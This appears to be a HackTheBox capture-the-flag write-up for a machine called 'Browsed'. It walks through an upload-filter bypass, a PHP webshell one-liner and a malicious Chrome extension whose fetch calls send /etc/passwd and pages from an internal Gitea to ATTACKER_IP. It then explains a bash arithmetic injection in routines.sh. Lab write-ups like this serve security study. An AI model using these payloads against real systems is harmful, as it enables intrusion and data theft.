A file upload filter that feels solid — until you realise the server feeds your zip directly into headless Chrome. What started as a search for a PHP webshell became a deep-dive into malicious browser extensions, an internal Gitea instance, bash arithmetic injection, and a Python bytecode swap to root.
Tags: HackTheBox · Upload Bypass · Chrome Extension · Python Privesc · 2026-03-28
Attack Chain Overview
- Recon — nginx on 80, raw PHP, .zip upload form
- Foothold — zip extracted to /tmp, loaded by headless Chrome
- Pivot — browsedinternals.htb only reachable from within, accessed via extension fetch
- RCE — -eq operator in routines.sh, reverse shell as larry
- Privesc — world-writable __pycache__, sudo script, SUID bash
- Root — chmod +s /bin/bash, root flag
01 · Recon
Nothing out of the ordinary from the initial scan — a standard nmap to start, service versions and default scripts:
nmap -sV -sC $box
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http nginx 1.24.0 (Ubuntu)SSH and a web server. Headed straight to the site.
Web Enumeration
The site had two interesting endpoints sitting out in the open:
/samples.html— three example Chrome extensions available for download/upload.php— a form asking you to "Upload Chrome Extension (.zip)"
The .php extension was worth noting. No framework — just raw PHP files served by nginx. The combination of raw PHP and a file upload form is historically a comfortable neighbourhood for attackers.
02 · Probing the Upload
The classic approach: try things the form wasn't designed to accept and watch what breaks. First, a plain .txt file:
HTTP 200 - Invalid file type or size.Rejected, but with a 200. Fine. What happens if we keep the .txt content but lie about its type — setting Content-Type: application/zip in Burp?
HTTP 302 - Failed to unzip file.What this tells us: The server accepted the request (header check passed) but failed when it tried to actually unzip the contents. Two things confirmed: (1) validation is Content-Type-based, not magic-bytes — trivially spoofable. (2) The server extracts the archive server-side, which opens up a whole attack surface.
The PHP Webshell Attempt
The logical next move: zip up a PHP webshell and upload it. The server should extract it, and if it lands anywhere near the web root, we have RCE.
<?php system($_GET["cmd"]); ?>
zip shell.zip shell.phpUploaded successfully this time. Tried accessing it:
curl http://box/shell.php?cmd=whoami
404 Not Found - nginx/1.24.0The files extract fine, but they're not landing in the web root. PHP shells are useless here. Back to studying the actual server behaviour.
03 · The Breakthrough
While staring at the server's terminal output after the upload, something completely unexpected showed up in the logs:
/opt/chrome-linux64/WidevineCdm/...
Failed to load extension from: /tmp/extension_69cadbf8bb2c20.61981154
Manifest file is missing or unreadableClick. Chrome is installed on this server. My zip was extracted to /tmp/ and Chrome tried to load it as a browser extension. It failed only because there was no manifest.json — that's Chrome's minimum requirement for any extension. The machine is literally called "Browsed". The entire attack surface just revealed itself.
PHP webshells are completely irrelevant. Chrome doesn't execute PHP. The real vector is a malicious Chrome extension — and the server is running headless Chrome that auto-loads whatever we upload.
Building the Evil Extension — Attempt 1
A Chrome extension needs two things at minimum: a manifest.json to describe it, and a background script to do the work. The first instinct was to read local files and exfiltrate them.
{
"manifest_version": 3,
"name": "pwn",
"version": "1.0",
"background": {
"service_worker": "background.js"
},
"permissions": ["tabs", "storage", "webRequest"],
"host_permissions": ["<all_urls>"]
}
fetch("file:///etc/passwd")
.then(r => r.text())
.then(data => fetch("http://ATTACKER_IP:8000/exfil?d=" + btoa(data)));Zipped, uploaded — and this time Chrome actually loaded it. A real extension ID was assigned:
extension id: fkoibhnaejgidpikppdehofgcnnhbhmj
context_type: BLESSED_EXTENSION
Not allowed to load local resource: file:///etc/passwd
Uncaught (in promise) TypeError: Failed to fetchChrome extensions can't access file:// URIs. Security model prevents it. Dead end on that angle — but while absorbing the logs, something else caught my eye entirely.
04 · The Internal Network
Buried in the network request logs was a stream of requests Chrome was making automatically as part of its startup routine:
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/favicon.pngDiscovery: Those assets — theme-gitea-auto.css, webcomponents.js, index.js — are unmistakably Gitea. There's an internal Git instance running at
browsedinternals.htb, only reachable from the server itself. We can't access it from outside. But our extension runs inside Chrome on the server, so it absolutely can.
Proxying Through Chrome
The extension runs inside a browser that has access to the internal network. We can use it as a proxy — make fetch requests to the internal Gitea and relay the responses back to our listener.
fetch("http://browsedinternals.htb")
.then(r => r.text())
.then(data => fetch("http://ATTACKER_IP:8000/?d=" + btoa(data)));Uploaded, set up a Python HTTP server to catch the callback — and immediately got an error in the logs:
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/ ← fetch succeeded
[CONSOLE] "Uncaught (in promise) InvalidCharacterError:
Failed to execute 'btoa' on 'WorkerGlobalScope':
The string to be encoded contains characters outside of the Latin1 range."The fetch to Gitea worked — but btoa() choked on non-Latin1 characters in the HTML before the exfil request ever fired. One-character fix: swap btoa(data) for encodeURIComponent(data).
fetch("http://browsedinternals.htb")
.then(r => r.text())
.then(data => fetch("http://ATTACKER_IP:8000/?d=" + encodeURIComponent(data)));
python3 -m http.server 8000
127.0.0.1 - - "GET /?d=%3C%21DOCTYPE+html%3E%0A%3Chtml..." 200 -We're receiving the internal Gitea homepage. The extension is acting as our browser proxy. Time to explore.
05 · Digging Through Gitea
Iterating through the Gitea instance — fetching pages and decoding the responses — revealed a repository called MarkdownPreviewer. A Flask app. Two endpoints, both interesting:
/submit— Stored XSS / HTML injection (markdown converted to raw HTML, no sanitization)/routines/<rid>— passes the route parameter to a bash script
The Bash Script
The Python code for /routines/<rid> is direct:
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid])
return "Routine executed !"No shell injection here (it's using the list form of subprocess.run), but rid goes straight to routines.sh as $1. The bash script itself is where things unravel:
#!/bin/bash
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
# ... more routines ...
else
log_action "Unknown routine ID: $1"
fiThe bug: The
-eqoperator performs arithmetic comparison in bash. When bash evaluates[[ "$1" -eq 0 ]], it treats$1in an arithmetic context. This means array subscript syntax likea[$(command)]gets evaluated — and the command inside$()executes. Classic bash arithmetic injection.